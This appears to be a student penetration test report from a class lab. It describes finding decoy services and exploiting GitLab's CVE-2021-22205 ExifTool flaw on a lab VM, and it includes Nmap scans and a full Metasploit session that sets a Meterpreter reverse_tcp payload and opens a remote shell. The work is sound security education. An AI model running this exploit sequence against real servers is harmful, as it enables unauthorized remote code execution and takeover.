

Penetration Test Report:
Author: Paulo McKone
Date of Assessment: 12/4/2025
Version: 1.0

Executive Summary

Overview

- There was a penetration attempt against the professor's VM and the IP associated with it. The pen test was done to find vulnerabilities in the system and as well as finding the decoys that are associated with the Network that were meant to throw me off. Eventually, I was able to find the one vulnerability in the Nginx system, which was a Gitlab service I was able to find an exploit using the Msfconsole, and then I ran it and gained root access in the service.

High-Level Test Outcomes

- The test was successful in achieving its objectives. The exploit resulted in root-level access to a container running a vulnerable Nginx service. Gaining root access is a really strong as I could install malicious services onto the Nginx service as well as gaining reconnaissance on users that may of created an account.

Overall Risk Rating

- Overall Risk Rating: CRITICAL
- Gaining root-level access to a service is always going to be a red flag as gaining root access to any service can be problematic, as someone with ill intent can cause great problems for a service they can create a backdoor, which can lead to even bigger problems down the road.

Prioritized Recommendations

1. Update GitLab to a version that is patched for this exploit CVE-2021-22205.
2. Restrict access to admin web interfaces like GitLab until patched
3. Implement some sort of authorization for the service to not anyone can gain root level access

Test Scope and Methodology

Scope

- The Scope of the target was limited due to my teammate's host service not being up so I had to pivot to professor's IP and VM.
- In scope Target: 192.168.0.200 and 192.168.0.177
- Out-of-Scope: none

Methodology

- Penetration Testing workflow
 1. Reconnaissance: Nmap scan to discover open ports and what services were running on those ports
 2. Analysis: Finding the difference between what was a legitimate services vs a decoy based on the version as well as what I could expect to be a service that has vulnerabilities built in
 3. Vulnerability Identification: Searching for CVEs associated with the GitLab service
 4. Exploitation: Attempting to exploit the GitLab service with the using Metasploit console with the payload
 5. Documentation: Recording results, findings, commands used, and screenshots

Detailed Findings

3.1 Finding 1: Remote Code Execution in Gitlab via Malicious Image Upload CVE-2021-2205

Risk Rating: Critical

Description

- The Target service on port 8080 was a GitLab service which was shown as an Nginx version. The Gitlab version was shown to be vulnerable to CVE-2021-22205 a remote code execution flaw involving GitLab Image upload functionality. The vulnerability comes from GitLab doing a bad job of the functionality of uploading images using ExifTool allowing attackers to put malicious commands within the images.
- Affected Service
 - IP: 192.168.0.200
 - Port: 8080/tcp
 - Service: GitLab(Nginx)

```

[msf](Jobs:0 Agents:0) >> use exploit/multi/http/gitlab_exif_rce
[*] Using configured payload linux/x86/meterpreter/reverse_tcp
[msf](Jobs:0 Agents:0) exploit(multi/http/gitlab_exif_rce) >> set RHOSTS 192.168.0.200
RHOSTS => 192.168.0.200
[msf](Jobs:0 Agents:0) exploit(multi/http/gitlab_exif_rce) >> set RPORT 8080
RPORT => 8080
[msf](Jobs:0 Agents:0) exploit(multi/http/gitlab_exif_rce) >> set payload linux/x64/meterpreter/reverse_tcp
payload => linux/x64/meterpreter/reverse_tcp
[msf](Jobs:0 Agents:0) exploit(multi/http/gitlab_exif_rce) >> set LHOST 1022.168.0.166
LHOST => 1022.168.0.166
[msf](Jobs:0 Agents:0) exploit(multi/http/gitlab_exif_rce) >> set LHOST 192.168.0.166
LHOST => 192.168.0.166
[msf](Jobs:0 Agents:0) exploit(multi/http/gitlab_exif_rce) >> run
[*] Started reverse TCP handler on 192.168.0.166:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[*] Uploading FkVoV2Hw.jpg to /ow30jrPv
[+] The target is vulnerable. The error response indicates ExifTool was executed.
[*] Executing Linux Dropper for linux/x64/meterpreter/reverse_tcp
[*] Using URL: http://192.168.0.166:8080/JZX4uXgyw
[*] Uploading Wov3G0M.jpg to /FQnSzJS0wWfp
[+] Exploit successfully executed.
[*] Command Stager progress - 100.00% done (115/115 bytes)

```

The screenshot shows the exploit being successfully being run and gaining root access

3.2 Finding 2 Service Fingerprinitng Confirms Decoys vs Real Targets

Description:

- During enumeration using the nmap -sV to fingerprint services on the target which revealed that while several ports are open some where shown as obisious decoys.
 - Port 4000 (NX serivce) showed a banner of the service while looking up the service no vulnerabilities known on the internet
 - Port 8080 was our vulnerable service that would return the version that it was running on which can look up known vulnerabilities on that version
 - Unknown version showed a MAC address
- This Screenshot will show the command used

```

$ sudo nmap -sV -sC -p4000,8080,998 192.168.0.200
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-12-03 13:04 MST
Nmap scan report for 192.168.0.200
Host is up (0.00026s latency).
PORT      STATE SERVICE      VERSION
998/tcp   filtered busboy
4000/tcp   open  nomachine-nx NoMachine NX Server remote desktop 9.1.24
8080/tcp   open  http         nginx
|_ http-title: Sign in \xC2\xB7 GitLab
|_ Requested resource was http://192.168.0.200:8080/users/sign_in
|_ http-robots.txt: 54 disallowed entries (15 shown)
|_ /autocomplete/users /autocomplete/projects /search
|_ /admin /profile /dashboard /users /help /s/ /-/profile /-/ide/
|_ /*new /*edit /*raw
|_ http-trane-info: Problem with XML parsing of /evox/about
MAC Address: BC:24:11:25:C0:88 (Unknown)

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 13.92 seconds

```

```

$ curl http://192.168.0.200:8080/help
<!DOCTYPE html>
<html class="" lang="en">
<head prefix="og: http://ogp.me/ns#">
<meta charset="utf-8">
<link as="style" href="http://192.168.0.200:8080/assets/application-02aa9533ec4957bb01d206d6eaa51d762c7b7396362f0f7a3b5fb4dd88745b.css" rel="preload">
<link as="style" href="http://192.168.0.200:8080/assets/highlight/themes/white-a9ac9757d6459344060c9834d594504c87bd5cab6ec83ceb507ca95d38121.css" rel="preload">
GitLab
<meta content="IE=edge" http-equiv="X-UA-Compatible">
A complete DevOps platform
<meta content="object" property="og:type">
<meta content="GitLab" property="og:site_name">
<meta content="Help" property="og:title">
<meta content="GitLab Community Edition" property="og:description">
<meta content="http://192.168.0.200:8080/assets/gitlab_logo-7ae504fe4f68fdebb3c2034e36621930cd36ea87924c11ff65dbcb8ed50dca58" property="og:image">
<meta content="64" property="og:image:width">
<meta content="64" property="og:image:height">
<meta content="http://192.168.0.200:8080/help" property="og:url">
<meta content="summary" property="twitter:card">
<meta content="Help" property="twitter:title">
<meta content="GitLab Community Edition" property="twitter:description">
<meta content="http://192.168.0.200:8080/assets/gitlab_logo-7ae504fe4f68fdebb3c2034e36621930cd36ea87924c11ff65dbcb8ed50dca58"

```

Failed Exploit Attempts

- 4.1 Only the failed exploit attempt was on my partner that I needed to scan
Service Targeted on IP 192.168.0.177

Description:

- The host wasn't up during scans multiple scans were done to make sure the host was up and to see that the scan is trying to find ports but host isn't up

```

$ sudo nmap -sV -sC -p3432,8080,8180 192.168.0.177
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-12-03 12:58 MST
Note: Host seems down. If it is really up, but blocking our ping probes, try -Pn
Nmap done: 1 IP address (0 hosts up) scanned in 2.03 seconds

```

Conclusions

Summary of Attack path

1. Nmap scan identified two open ports:
 - a. 4000 NoMachine NX - decoy
 - b. 8080 Nginx -> GitLab
2. GitLab was analyzed and identified as vulnerable to CVE-2021-22205
3. Metasploit successfully exploited the vulnerability using a malicious image upload
4. Remote code execution confirmed and vulnerability successfully executed and exploited

Overall Security Posture

- The overall security posture of the target environment is poor because of highly vulnerable the service is to a remotely exploitable vulnerability. However deep research is needed to find the service type/version and what its vulnerability is

truly is. which means a moderately new hacker/pen tester can most likely find this vulnerability especially with the resources given online.

Appendix

Tools Used

- Nmap
- Metasploit Framework
- Netcat
- Parrot OS
- Firefox to see the GitLab service